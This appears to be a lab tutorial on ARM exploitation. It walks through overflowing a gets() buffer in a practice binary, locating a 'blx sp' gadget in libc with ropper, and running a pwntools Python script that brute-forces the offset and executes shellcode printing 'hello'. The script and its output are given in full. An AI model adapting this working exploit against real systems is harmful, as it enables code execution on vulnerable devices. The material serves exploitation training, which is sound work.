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ARM hacking – shellcode exec

In this exercise we'll hack control flow by rewriting pc, making it point to the hello wold shellcode we built in the previous article.

Here is the vulnerable program:

#include <stdio.h>

int main()
{
    char buffer[64];
    gets(buffer);
}
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We already know that a pc copy is saved on the stack at buffer+68. Here we're going to write code that will jump into our shellcode. Well use a blx sp. To do so, we'll find an address for that instruction (a gadget) using ropper. The gadget can be found in the mapped libc (aslr off):

root@azeria-labs-arm:~/protostarm/stack5# ldd stack5 
    linux-vdso.so.1 (0xb6ffd000)
    libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xb6ede000)
    /lib/ld-linux-armhf.so.3 (0xb6fd6000)
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We can use ropper to find a gadget allowing us to jump to sp; where our payload is located:

root@azeria-labs-arm:~/protostarm/stack5# ropper -f /lib/arm-linux-gnueabihf/libc.so.6 --search "b%x sp"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: b%x sp

[INFO] File: /lib/arm-linux-gnueabihf/libc.so.6
0x0009f976 (0x0009f977): b #0x9f90e; mov r0, sb; bl #0x267e8; bl #0xa47c4; nop; bx sp; 
0x0009f97a (0x0009f97b): bl #0x267e8; bl #0xa47c4; nop; bx sp; 
0x0009f97e (0x0009f97f): bl #0xa47c4; nop; bx sp; 
0x00008b28 (0x00008b29): blx sp; 
0x00003db8 (0x00003db9): bx sp; 
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Ok so our payload will look like:

AAAAAAAA * 68 | gadget | shellcode
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The blx sp will allow us to jump in the stack, where the shellcode is written. Here is she exploit:

#!/usr/bin/env python3

from pwn import *


socket = ssh(host='192.168.0.1', user='root', password='')
libc_base_addr = 0xb6ede000
blx_sp = struct.pack('<I', libc_base_addr + 0x8b28 + 1)
shellcode = b"\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x06\x22\x79\x46\x0e\x31\x01\x20\x04\x27\x01\xdf\x24\x1b\x20\x1c\x01\x27\x01\xdf\x68\x65\x6c\x6c\x6f\x0a\x00\x00"

i = 63
while True:
    i += 1
    print('test', i)
    payload = b'B' * i
    payload += blx_sp
    payload += shellcode
    process = socket.process('/root/protostarm/stack5/stack5')
    process.sendline(payload)
    try:
        res = process.recv().decode()
        print(res)
        if 'hello' in res:
            process.close()
            break

    except EOFError:
        pass

    process.close()

socket.close()
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user@Azeria-Lab-VM:~/protoarm/stack5$ ./exploit.py 
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Disabled
test 64
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1705
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1705)
test 65
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1709
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1709)
test 66
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1714
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1714)
test 67
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1719
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1719)
test 68
[+] Starting remote process '/root/protostarm/stack5/stack5' on 192.168.0.1: pid 1723
hello\x00
[*] Stopped remote process 'stack5' on 192.168.0.1 (pid 1723)
[*] Closed connection to '192.168.0.1'
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There are more techniques to exploit this kind of vulnerabilities and to defeat protections.

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